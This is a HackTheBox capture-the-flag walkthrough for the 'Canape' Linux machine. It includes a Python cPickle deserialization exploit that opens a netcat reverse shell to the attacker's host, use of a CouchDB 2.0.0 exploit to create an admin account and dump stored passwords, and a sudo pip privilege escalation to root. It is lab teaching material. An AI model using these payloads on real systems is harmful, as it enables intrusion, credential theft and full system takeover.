# Canape

This is a medium difficulty Linux machine from [HackTheBox ](https://app.hackthebox.com/machines/134)created by overcast. In this scenario, my IP is 10.10.14.36 and the target’s IP is 10.129.177.254

The use of a file (.git) with the default name, makes the site easy to find by using Nmap scripts, this machine requires a basic understanding of Python and Burpsuite to get the parameters.

### Recon

This step is always the same, you must ping the machine to see if is alive, and then use Nmap to scan all the ports to avoid surprises.

{% code title="Local Terminal" %}

```bash
$ ping -c 1 10.129.177.254

Pinging 10.129.177.254 with 32 bytes of data:
Reply from 10.129.177.254: bytes=32 time=175ms TTL=63
Reply from 10.129.177.254: bytes=32 time=158ms TTL=63
Reply from 10.129.177.254: bytes=32 time=186ms TTL=63
Reply from 10.129.177.254: bytes=32 time=164ms TTL=63

Ping statistics for 10.129.177.254:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 158ms, Maximum = 186ms, Average = 170ms
```

{% endcode %}

{% code title="Local Terminal" %}

```bash
$ nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.177.254 -oN Ports

Nmap scan report for 10.129.177.254
Host is up, received echo-reply ttl 63 (0.40s latency).
Scanned at 2023-06-05 10:02:24 Pacific SA Standard Time for 28s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 63
65535/tcp open  unknown syn-ack ttl 63

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 28.88 seconds
           Raw packets sent: 131089 (5.768MB) | Rcvd: 77 (3.372KB)
```

{% endcode %}

{% code title="Local Terminal" %}

```bash
$ nmap -sCV -p 80,65535 10.129.177.254 -oN Target

Nmap scan report for 10.129.177.254
Host is up (0.17s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-git:
|   10.129.177.254:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
|   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_  256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

{% endcode %}

{% code title="Local Terminal" %}

```bash
$ whatweb 10.129.177.254

http://10.129.177.254 [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ], 
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.177.254], JQuery, 
Script, Title[Simpsons Fan Site]
```

{% endcode %}

Here we have valuable information, there is a .git and the port for SSH is different, once discovered makes no difference. Let's explore the website

* Browser: <http://10.129.177.254/.git/>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FVThmFNjk3VWF52up96RJ%2Fimage.png?alt=media&#x26;token=84b43f5d-0807-462a-9316-ff8be764d5f1" alt=""><figcaption><p>http://10.129.177.254/.git/config</p></figcaption></figure>

Add both sites to etc host.

{% code title="Local Terminal" %}

```bash
echo "10.129.177.254 canape.htb git.canape.htb" >> /etc/hosts
```

{% endcode %}

* Browser: <http://git.canape.htb/simpsons.git>

Nothing here!

* Browser: <http://canape.htb>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FYZdRoKJK7fMKuNp6DwjA%2Fimage.png?alt=media&#x26;token=a0d5ddee-a7dc-4a34-9eaa-c114002cbaf4" alt=""><figcaption><p>At the view:source (CTRL+U) there is a hash, it does not change after a reload, so save it.</p></figcaption></figure>

Hash: c8a74a098a60aaea1af98945bd707a7eab0ff4b0

{% code title="Local Terminal" %}

```bash
$ wfuzz -c -f FuzzFile -t 200 --hc=404 --hw=1 --hh=3076 -w /shared/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.129.177.254/FUZZ
```

{% endcode %}

```javascript
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.177.254/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000171:   200        81 L     167 W      2836 Ch     "submit"
000000255:   301        9 L      28 W       317 Ch      "static"
000000673:   200        85 L     227 W      3150 Ch     "quotes"
000001314:   405        4 L      23 W       178 Ch      "check"
000095510:   403        11 L     32 W       302 Ch      "server-status"
```

The result when exploring each site:

* /submit   Submit page, it has some **fillable text box.**
* /static     JS & CSS
* /quotes   Quotes list page, nothing.
* /check    Method not accepted
* /server-status   Forbidden

### Testing

Now, the only thing that we can do, is to test many payloads.

{% code title="Local Terminal" %}

```bash
python3 -m http.server 80
```

{% endcode %}

* Browser:   <http://10.129.177.254/submit>

The character text box is restringed to a list of names, the Quote box is more flexible.

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FqwJI45vjNWvzhQFDazi0%2Fimage.png?alt=media&#x26;token=cd7e5b23-648e-44d1-83a1-dd79a2f4b21c" alt=""><figcaption><p>No response at the http server</p></figcaption></figure>

{% code title="Local Terminal" %}

```bash
git clone http://git.canape.htb/simpsons.git
```

{% endcode %}

{% code title="Local Terminal" %}

```bash
batcat __init__.py
```

{% endcode %}

```python
import couchdb
import string
import random
import base64
import cPickle # Usually cPickle is vulnerable
from flask import Flask, render_template, request
from hashlib import md5

app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
    # Aditional information: DB > http://localhost:5984/
@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
        return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")
R
@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
            # It uses "MATCH", so something like asdasdHomerasdasd will work
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest() # ID = MD5 of char+quote
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()
```

Information captured:

* DB > <http://localhost:5984/>
* It uses "MATCH", so something like "asdasdHomerasdasd" will work
* ID = MD5 of char+quote

### Reverse Shell \[www-data]

cPickle is a dangerous library because it represent a python object in a string of bytes and viceversa.

* vi exploit.py

{% code title="Exploit.py" %}

```python
#!/usr/bin/python2.7
#coding utf-8

import pickle
import sys
import os
import requests
import signal
import hashlib


def def_handler(sig,frame):
    print("\n BREAK! \n")
    sys.exit(1)

# CTRL + C
signal.signal(signal.SIGINT, def_handler)

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 443 >/tmp/f; Homer',))

# URLs
submit_url = 'http://10.129.177.254/submit'
check_url = 'http://10.129.177.254/check'

def makeRequest():
    character = pickle.dumps(PickleRCE())
    quote = "Exploit"

    post_data = {
            'character' : character,
            'quote' : quote
    }

    r = requests.post(submit_url, data=post_data)

    md5_id = hashlib.md5(character + quote).hexdigest()

    post_data = {
            'id' : md5_id
    }

    r = requests.post(check_url, data=post_data)

if __name__ == '__main__':
    makeRequest()
```

{% endcode %}

{% embed url="<https://github.com/CalfCrusher/Python-Pickle-RCE-Exploit/blob/main/Pickle-PoC.py>" %}

{% embed url="<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}

Open two terminals, one to execute the exploit and the other one to connect

{% code title="Local Terminal A" %}

```bash
$ nc -nlvp 443
```

{% endcode %}

{% code title="Local Terminal B" %}

```bash
python2.7 exploit.py
```

{% endcode %}

### User Scalation \[Homer]

Do a [shell upgrade](https://robertos-notebook.gitbook.io/cybersecurity/cybersecurity/tip-and-tricks/bash-upgrade) before continue.

At the git project we found a database.

{% code title="Target Terminal \[www-data]" %}

```bash
$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```

{% endcode %}

Couch 2.0.0, now that we have the version we can check at exploitdb.

{% embed url="<https://www.exploit-db.com/exploits/44498>" %}

Download the python script at your local machine and send it to the target.

{% code title="Local Terminal" %}

```bash
# At the same folder of the file.
python3 -m http.server 80 
```

{% endcode %}

{% code title="Target Terminal \[www-data]" %}

```bash
$ cd /tmp/

$ wget http://10.10.14.36/44498.py
--2023-06-05 13:08:29--  http://10.10.14.36/44498.py
```

{% endcode %}

{% code title="Target Terminal \[www-data]" %}

```bash
$ python 44498.py -p 5984 -u tartox -P tartox 127.0.0.1
[+] User to create: tartox
[+] Password: tartox
[+] Attacking host 127.0.0.1 on port 5984
[+] User tartox with password tartox successfully created.
```

{% endcode %}

Now we are going to explore inside the data base, there is a link about how to explore couchdb by using **Curl.**

{% embed url="<https://www.tutorialspoint.com/couchdb/couchdb_curl_futon.htm>" %}

{% code title="Target Terminal \[www-data]" %}

```bash
$ curl http://tartox:tartox@localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

$ curl http://tartox:tartox@localhost:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

$ curl http://tartox:tartox@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
```

{% endcode %}

Now we have to see the information to each id.

{% code title="Target Terminal \[www-data]" %}

```bash
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}

$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}

$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}

$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
```

{% endcode %}

If there are MAAANY users, you can use the following command:

{% code title="Target Terminal \[www-data]" %}

```bash
curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'
```

{% endcode %}

```
739c5ebdf3f7a001bebb8fc4380019e4
739c5ebdf3f7a001bebb8fc43800368d
739c5ebdf3f7a001bebb8fc438003e5f
739c5ebdf3f7a001bebb8fc438004738
```

{% code title="Target Terminal \[www-data]" %}

```bash
for id in $(curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'); do echo -e "\n [+] Testing: \n"; curl -s http://tartox:tartox@localhost:5984/passwords/$id; done
```

{% endcode %}

Thanks [S4vitar ](https://www.youtube.com/watch?v=Ce2zCSEDRtA\&ab_channel=S4viOnLive%28BackupDirectosdeTwitch%29)for this class, soon I will do it by myself.

Now we know 4 users and 4 password to test, after trying, the correct one is:

{% code title="Target Terminal \[www-data]" %}

```bash
$ su homer    # password: 0B4jyA0xtytZi7esBNGp

$ cat /home/homer/user.txt
e3aeb9c50c15ff651284588bdcf14064
```

{% endcode %}

### Privilege Scalation \[Root]

Now we have to find a way to escalate.

{% code title="Target Terminal \[www-data]" %}

```bash
$ id
uid=1000(homer) gid=1000(homer) groups=1000(homer)

$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *
```

{% endcode %}

That was easy, at GTFOBins you can find the steps to scalate through pip.

{% embed url="<https://gtfobins.github.io/gtfobins/pip/#shell>" %}

{% code title="Target Terminal \[www-data]" %}

```bash
homer@canape:/tmp$ TF=$(mktemp -d)
homer@canape:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
homer@canape:/tmp$ sudo pip install $TF
```

{% endcode %}

{% code title="Target Terminal \[Root]" %}

```bash
$ whoami
root

$ cat /root/root.txt
e7190a6848a7ab5fd61faecc46de1935
```

{% endcode %}
